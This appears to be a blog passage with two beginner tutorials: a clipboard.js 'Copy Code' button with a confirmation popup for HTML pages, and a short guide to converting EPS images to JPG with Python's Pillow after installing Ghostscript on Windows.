✔️ Copy Paste Function directly from HTML using Javascript.
✔️ A pop up confirmation that you have copied the code.

*You can refer to the previous tutorial that I have posted earlier if you do not understand certain things. Same link is given above.

Use this html code in your blog / website

<meta name="viewport" content="width=device-width, initial-scale=1">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.jsdelivr.net/clipboard.js/1.5.12/clipboard.min.js"></script>

<style>
button {
  display: inline-block;
  padding: 5px 20px;
  font-size: 24px;
  cursor: pointer;
  text-align: center;
  text-decoration: none;
  outline: none;
  color: #fff;
  background-color: #303134;
  border: none;
  border-radius: 15px;
  box-shadow: 0 9px #999;
}

button:hover {background-color: #202124}

button:active {
  background-color: #FF7357;
  box-shadow: 0 5px #666;
  transform: translateY(4px);
}

/* Popup container - can be anything you want */
.popup {
  position: relative;
  display: inline-block;
  cursor: pointer;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
}

/* The actual popup */
.popup .popuptext {
  visibility: hidden;
  width: 160px;
  background-color: #555;
  color: #fff;
  text-align: center;
  border-radius: 6px;
  padding: 8px 0;
  position: absolute;
  z-index: 1;
  bottom: 125%;
  left: 50%;
  margin-left: -80px;
}

/* Popup arrow */
.popup .popuptext::after {
  content: "";
  position: absolute;
  top: 100%;
  left: 50%;
  margin-left: -5px;
  border-width: 5px;
  border-style: solid;
  border-color: #555 transparent transparent transparent;
}

/* Toggle this class - hide and show the popup */
.popup .show {
  visibility: visible;
  -webkit-animation: fadeIn 1s;
  animation: fadeIn 1s;
}

/* Add animation (fade in the popup) */
@-webkit-keyframes fadeIn {
  from {opacity: 0;} 
  to {opacity: 1;}
}

@keyframes fadeIn {
  from {opacity: 0;}
  to {opacity:1 ;}
}
</style>

<script>
$(function(){
  new Clipboard('.copy-text');
});


function myyFunction() {
  var popup = document.getElementById("myPopup");
  popup.classList.toggle("show");
}
</script>

<pre id="content">
<!------------------------------>


<<COPY PASTE YOUR PYTHON CODE HERE>>


<!------------------------------>
</pre>


<div class="popup" onclick="myyFunction()">
<span class="popuptext" id="myPopup">Copied</span>
<button class="copy-text" data-clipboard-target="#content" href="#">Copy Code</button>
</div>

I am going to use import this and this is the result as you can see here.



>>> import this
The Zen of Python, by Tim Peters

Beautiful is better than ugly.
Explicit is better than implicit.
Simple is better than complex.
Complex is better than complicated.
Flat is better than nested.
Sparse is better than dense.
Readability counts.
Special cases aren't special enough to break the rules.
Although practicality beats purity.
Errors should never pass silently.
Unless explicitly silenced.
In the face of ambiguity, refuse the temptation to guess.
There should be one-- and preferably only one --obvious way to do it.
Although that way may not be obvious at first unless you're Dutch.
Now is better than never.
Although never is often better than *right* now.
If the implementation is hard to explain, it's a bad idea.
If the implementation is easy to explain, it may be a good idea.
Namespaces are one honking great idea -- let's do more of those!
>>>

How to Convert EPS to JPG using Python

2021-11-01T03:30:00.013-07:00

Q. What is .EPS file?

Ans. EPS stands for (Encapsulated PostScript). A standard graphics file format created by Adobe in 1992.
It is more like a postscript program that instructs images and drawings to be placed on a document. EPS has been considered a good choice of format for vector graphic illustrations intended for high-resolution or large-scale printing and commonly used for printing to PostScript printers and imagesetters. EPS files are typically created and edited in illustration programs such as Adobe Illustrator or CorelDRAW. EPS is still in use, but it is essentially an outdated file format that no longer evolves. For exchanging logos or drawings, it has been replaced by the native file formats of Adobe applications.

Q. Is EPS file better?

Ans. SVG files are able to be displayed by most modern web browsers, and so are well suited to digital applications, while EPS files are better for printing-intended drawings. ... However, an advantage of EPS files is the encapsulated preview, which means they can be viewed even on devices that can't read the whole file.

You can convert EPS file into Illustrator by opening the EPS file and Exporting it as JPEG / JPG.

But You CAN also use only Python do achieve the same goal.

This is how to convert EPS file into JPG file using Python.

Follow this steps:-

A] This Code will NOT WORK unless you have installed GhostScript

Q. What is GhostScript?

Ans. Ghostscript is an interpreter for PostScript and Portable Document Format (PDF) files. Ghostscript consists of a PostScript interpreter layer, and a graphics library.

Q. How to install Ghostscript on Windows?

Ans. Its simple and straight forward,
1) First go to this URL https://ghostscript.com/releases/gsdnld.html

2) Download GhostScript (64 bit) & install (Assuming your OS is Windows 8.1 64-bit)
3) Note down the path where it is installing
4) Example C:\Program Files\gs\gs9.50
5) Copy paste path into Environment Variable
6) i.e C:\Program Files\gs\gs9.50\bin;
7) Open RUN > CMD to test by typing
- gswin64 [ENTER] (WILL OPEN GUI INTERFACE)
- gswin64c [ENTER] (WILL OPEN IN CMD ITSELF)
8) Close everything now you can run this script

Download this Sample EPS image to test or use your own if you have.
https://drive.google.com/file/d/1l13IWjZmSykkCGbiCDXzkQG5yZFa30Dv/view?usp=sharing

And also assuming you have install PIL in python.

Else install pip install Pillow

from PIL import Image
im = Image.open("image.eps")
im.save("image.jpg", "JPEG")

ENJOY!!!